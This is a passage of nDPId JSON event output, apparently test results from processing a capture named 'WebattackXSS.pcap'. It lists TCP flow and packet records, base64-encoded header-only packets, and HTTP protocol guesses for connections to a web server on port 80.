+00444{"flow_id":640,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9063,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348061,"pkt_ts_usec":684363,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiuhWb4DgPhZTraAScSBsbAAAAgQFtAQCCAoD5uW+AT0USgEDAwc="} +00432{"flow_id":640,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9064,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348061,"pkt_ts_usec":685087,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0R+dAAD4GffGsEAABwKgKMoroAFA+FlOtVm+A4YAQAOULdAAAAQEICgE9FEoD5uW+"} +00432{"flow_id":636,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9068,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348061,"pkt_ts_usec":913264,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LdhAAD4GmACsEAABwKgKMoqwAFDDZCKW50+nTYARAOUE9QAAAQEICgE9FIMD5uC3"} +00433{"flow_id":636,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9069,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348061,"pkt_ts_usec":913480,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0QrpAAEAGgR7AqAoyrBAAAQBQirDnT6dNw2Qil4ARAOP\/tQAAAQEICgPm5fcBPRSD"} +00434{"flow_id":636,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9070,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348061,"pkt_ts_usec":914214,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LdlAAD4Gl\/+sEAABwKgKMoqwAFDDZCKX50+nToAQAOX\/sgAAAQEICgE9FIQD5uX3"} +00432{"flow_id":637,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9074,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348062,"pkt_ts_usec":913332,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cW9AAD4GVGmsEAABwKgKMoq+AFBo3mER2ZFRnIARAOWCLgAAAQEICgE9FX0D5uHw"} +00432{"flow_id":637,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9075,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348062,"pkt_ts_usec":913553,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0t21AAEAGDGvAqAoyrBAAAQBQir7ZkVGcaN5hEoARAON9LgAAAQEICgPm5vEBPRV9"} +00432{"flow_id":637,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9076,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348062,"pkt_ts_usec":914286,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cXBAAD4GVGisEAABwKgKMoq+AFBo3mES2ZFRnYAQAOV9KwAAAQEICgE9FX4D5ubx"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9083,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":641,"flow_packet_id":1,"flow_first_seen":1499348064243,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35586,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":641,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9083,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348064,"pkt_ts_usec":243564,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Y\/tAAD4GYdWsEAABwKgKMosCAFBtqHUxAAAAAKACchDY0AAAAgQFtAQCCAoBPRbKAAAAAAEDAwc="} +00445{"flow_id":641,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9084,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348064,"pkt_ts_usec":243696,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiwKN0\/hjbah1MqAScSBnUwAAAgQFtAQCCAoD5ug+AT0WygEDAwc="} +00433{"flow_id":641,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9085,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348064,"pkt_ts_usec":244434,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Y\/xAAD4GYdysEAABwKgKMosCAFBtqHUyjdP4ZIAQAOUGWwAAAQEICgE9FsoD5ug+"} +00433{"flow_id":638,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9089,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348064,"pkt_ts_usec":913784,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SJtAAD4GfT2sEAABwKgKMorMAFAzNVkm\/S7trIARAOX80QAAAQEICgE9F3ID5uMw"} +00433{"flow_id":638,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9090,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348064,"pkt_ts_usec":914003,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0BUlAAEAGvo\/AqAoyrBAAAQBQisz9Lu2sMzVZJ4ARAOP3HQAAAQEICgPm6OUBPRdy"} +00433{"flow_id":638,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9091,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348064,"pkt_ts_usec":914738,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SJxAAD4GfTysEAABwKgKMorMAFAzNVkn\/S7trYAQAOX3GwAAAQEICgE9F3ID5ujl"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9095,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":642,"flow_packet_id":1,"flow_first_seen":1499348065546,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35600,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":642,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9095,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348065,"pkt_ts_usec":546965,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA882RAAD4G0musEAABwKgKMosQAFA77ut0AAAAAKACchCS8wAAAgQFtAQCCAoBPRgQAAAAAAEDAwc="} +00444{"flow_id":642,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9096,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348065,"pkt_ts_usec":547091,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQixCTY4b2O+7rdaAScSCMDQAAAgQFtAQCCAoD5umEAT0YEAEDAwc="} +00432{"flow_id":642,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9097,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348065,"pkt_ts_usec":547854,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA082VAAD4G0nKsEAABwKgKMosQAFA77ut1k2OG94AQAOUrFQAAAQEICgE9GBAD5umE"} +00433{"flow_id":639,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9101,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348065,"pkt_ts_usec":914319,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00I1AAD4G9UqsEAABwKgKMoraAFD\/pcON94Iqk4ARAOWMbAAAAQEICgE9GGwD5uR7"} +00433{"flow_id":639,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9102,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348065,"pkt_ts_usec":914537,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0w0xAAEAGAIzAqAoyrBAAAQBQitr3giqT\/6XDjoARAOOHCAAAAQEICgPm6eABPRhs"} +00433{"flow_id":639,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9103,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348065,"pkt_ts_usec":915250,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00I5AAD4G9UmsEAABwKgKMoraAFD\/pcOO94IqlIAQAOWHBgAAAQEICgE9GGwD5ung"} +00432{"flow_id":640,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9110,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348066,"pkt_ts_usec":914407,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0R+hAAD4GffCsEAABwKgKMoroAFA+FlOtVm+A4YARAOUGVwAAAQEICgE9GWYD5uW+"} +00432{"flow_id":640,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9111,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348066,"pkt_ts_usec":914609,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ajtAAEAGWZ3AqAoyrBAAAQBQiuhWb4DhPhZTroARAOMBPAAAAQEICgPm6toBPRlm"} +00432{"flow_id":640,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9112,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348066,"pkt_ts_usec":915337,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0R+lAAD4Gfe+sEAABwKgKMoroAFA+FlOuVm+A4oAQAOUBOgAAAQEICgE9GWYD5ura"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9116,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":643,"flow_packet_id":1,"flow_first_seen":1499348068136,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35626,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":643,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9116,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348068,"pkt_ts_usec":136241,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8f2xAAD4GRmSsEAABwKgKMosqAFAaVGX7AAAAAKACchA3ZgAAAgQFtAQCCAoBPRqXAAAAAAEDAwc="} +00445{"flow_id":643,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9117,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348068,"pkt_ts_usec":136365,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiyoM4+ekGlRl\/KAScSBTywAAAgQFtAQCCAoD5uwLAT0alwEDAwc="} +00432{"flow_id":643,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9118,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348068,"pkt_ts_usec":136947,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f21AAD4GRmusEAABwKgKMosqAFAaVGX8DOPnpYAQAOXy0gAAAQEICgE9GpcD5uwL"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":644,"flow_packet_id":1,"flow_first_seen":1499348069426,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35640,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":644,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9125,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348069,"pkt_ts_usec":426418,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86kVAAD4G24qsEAABwKgKMos4AFDyvfGfAAAAAKACchDSBgAAAgQFtAQCCAoBPRvaAAAAAAEDAwc="} +00444{"flow_id":644,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9126,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348069,"pkt_ts_usec":426563,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiziWvrte8r3xoKAScSCPkwAAAgQFtAQCCAoD5u1OAT0b2gEDAwc="} +00432{"flow_id":644,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9127,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348069,"pkt_ts_usec":427333,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06kZAAD4G25GsEAABwKgKMos4AFDyvfGglr67X4AQAOUumwAAAQEICgE9G9oD5u1O"} +00433{"flow_id":641,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9131,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348069,"pkt_ts_usec":915429,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Y\/1AAD4GYdusEAABwKgKMosCAFBtqHUyjdP4ZIARAOUA0AAAAQEICgE9HFQD5ug+"} +00433{"flow_id":641,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9132,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348069,"pkt_ts_usec":915653,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0FaxAAEAGrizAqAoyrBAAAQBQiwKN0\/hkbah1M4ARAOP7RgAAAQEICgPm7cgBPRxU"} +00433{"flow_id":641,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9133,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348069,"pkt_ts_usec":916386,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Y\/5AAD4GYdqsEAABwKgKMosCAFBtqHUzjdP4ZYAQAOX7RAAAAQEICgE9HFQD5u3I"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9137,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":645,"flow_packet_id":1,"flow_first_seen":1499348070791,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35654,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":645,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9137,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348070,"pkt_ts_usec":791453,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jQtAAD4GOMWsEAABwKgKMotGAFAklpAkAAAAAKACchAARwAAAgQFtAQCCAoBPR0vAAAAAAEDAwc="} +00444{"flow_id":645,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9138,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348070,"pkt_ts_usec":791613,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi0aOH7cfJJaQJaAScSDJXAAAAgQFtAQCCAoD5u6jAT0dLwEDAwc="} +00432{"flow_id":645,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9139,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348070,"pkt_ts_usec":792328,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jQxAAD4GOMysEAABwKgKMotGAFAklpAljh+3IIAQAOVoZAAAAQEICgE9HS8D5u6j"} +00432{"flow_id":642,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9143,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348070,"pkt_ts_usec":915441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA082ZAAD4G0nGsEAABwKgKMosQAFA77ut1k2OG94ARAOUl1gAAAQEICgE9HU4D5umE"} +00432{"flow_id":642,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9144,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348070,"pkt_ts_usec":916467,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0aDVAAEAGW6PAqAoyrBAAAQBQixCTY4b3O+7rdoARAOMgmQAAAQEICgPm7sIBPR1O"} +00432{"flow_id":642,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9145,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348070,"pkt_ts_usec":917210,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA082dAAD4G0nCsEAABwKgKMosQAFA77ut2k2OG+IAQAOUglwAAAQEICgE9HU4D5u7C"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9146,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":603,"flow_packet_id":6,"flow_first_seen":1499347997344,"flow_last_seen":1499348002899,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34886,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9146,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":603,"flow_packet_id":6,"flow_first_seen":1499347997344,"flow_last_seen":1499348002899,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34886,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9146,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":604,"flow_packet_id":6,"flow_first_seen":1499347998605,"flow_last_seen":1499348003900,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34900,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9146,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":604,"flow_packet_id":6,"flow_first_seen":1499347998605,"flow_last_seen":1499348003900,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34900,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9146,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":605,"flow_packet_id":6,"flow_first_seen":1499348001148,"flow_last_seen":1499348006901,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34926,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9146,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":605,"flow_packet_id":6,"flow_first_seen":1499348001148,"flow_last_seen":1499348006901,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34926,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9146,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":607,"flow_packet_id":6,"flow_first_seen":1499348003742,"flow_last_seen":1499348008904,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34954,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9146,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":607,"flow_packet_id":6,"flow_first_seen":1499348003742,"flow_last_seen":1499348008904,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34954,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 